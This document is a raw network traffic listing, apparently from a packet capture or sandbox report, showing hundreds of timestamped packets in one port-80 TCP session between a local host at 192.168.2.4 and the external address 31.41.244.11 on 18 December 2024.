Dec 18, 2024 17:08:11.467726946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.467794895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.468673944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.468724966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.468854904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.468907118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.469825029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.469881058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.469970942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.470026016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.470725060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.470776081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.470865965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.470909119 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.472018003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.472054958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.472109079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.473062038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.473117113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.473172903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.473221064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.473829031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.473886013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.473946095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.473997116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.476151943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.477066994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.477129936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.477545977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.477561951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.477592945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.477602005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.477616072 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.477619886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.477654934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.478357077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.478404045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.478663921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.478707075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.479655981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.479824066 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.479871988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.480531931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.480578899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.480643034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.480698109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.481405020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.481452942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.481556892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.481610060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.483175039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.483191013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.483242035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.484405041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.484424114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.484457016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.484482050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.484580040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.484666109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.484716892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.485755920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.485805988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.485842943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.485889912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.486785889 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.486831903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.486917973 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.486963034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.488775015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.489281893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.489340067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.490183115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.490219116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.490247965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.490252972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.490256071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.490292072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.490298033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.490330935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.491590023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.491849899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.491909981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.493418932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.493473053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.493607998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.493658066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.494169950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.494220972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.494226933 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.494275093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.494396925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.494443893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.494465113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.494515896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.495358944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.495414019 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.495480061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.495532036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.498116016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.498167038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.632596970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.632668018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.632669926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.632724047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.633012056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.633073092 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.633090019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.633229971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.634064913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.634160995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.634171963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.634222031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.635133982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.635202885 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.635267019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.635318041 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.636301041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.636347055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.636482000 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.636539936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.637273073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.637409925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.637459040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.638359070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.638417959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.638542891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.638588905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.639539957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.639677048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.639730930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.640564919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.640618086 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.640741110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.640786886 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.641557932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.641690016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.641743898 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.642679930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.642749071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.642797947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.642848969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.643834114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.644025087 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.644082069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.644134045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.644862890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.644918919 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.644996881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.645097017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.645875931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.645947933 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.646017075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.646193981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.646941900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.647000074 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.647069931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.647119999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.648133993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.648318052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.648386002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.649077892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.649135113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.649179935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.649230003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.650223970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.650279045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.650352001 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.650397062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.651252031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.651367903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.651424885 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.652410984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.652458906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.652545929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.652586937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.653376102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.653435946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.653608084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.653649092 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.654469967 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.654508114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.654683113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.654725075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.655590057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.655700922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.655744076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.656649113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.656702995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.656799078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.656847000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.657874107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.657928944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.658071041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.658117056 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.658765078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.658818960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.658899069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.658946991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.660059929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.660207033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.660264969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.661021948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.661072016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.661137104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.661183119 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.662201881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.662257910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.662307978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.662358999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.663074017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.663122892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.663256884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.664200068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.664252043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.664592028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.664640903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.665343046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.665402889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.665585995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.665637016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.666367054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.666414976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.666590929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.666637897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.667385101 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.667437077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.667550087 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.667598963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.668500900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.668551922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.668632984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.668684006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.669568062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.669619083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.669699907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.669750929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.670638084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.670702934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.670835018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.670900106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.671763897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.671813965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.671875000 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.671924114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.672812939 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.672862053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.673090935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.673141003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.673949003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.673998117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.674026012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.674077034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.675110102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.675165892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.675232887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.675278902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.676057100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.676106930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.676167011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.676211119 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.677062988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.677114010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.677195072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.677248001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.678121090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.678172112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.678250074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.678297997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.679250002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.679299116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.679378033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.679447889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.680392027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.680442095 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.680521965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.680572033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.681389093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.681441069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.681524038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.681571960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.682487011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.682537079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.682749033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.682800055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.683708906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.683754921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.683893919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.683945894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.684603930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.684679985 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.684771061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.684823036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.685878992 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.685918093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.685933113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.685962915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.686821938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.686873913 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.686939955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.686990023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.687930107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.687983990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.688203096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.688254118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.688863039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.688915014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.824947119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.825058937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.825062990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.825104952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.825532913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.825587034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.825660944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.825711966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.826457977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.826514959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.826956034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.827006102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.827008963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.827048063 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.827740908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.827789068 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.827831984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.827878952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.828744888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.828821898 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.828872919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.828917980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.829885960 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.829931974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.829966068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.830008030 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.830935955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.830981970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.831048965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.831098080 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.831988096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.832035065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.832087994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.832133055 CET	49749	80	192.168.2.4	31.41.244.11
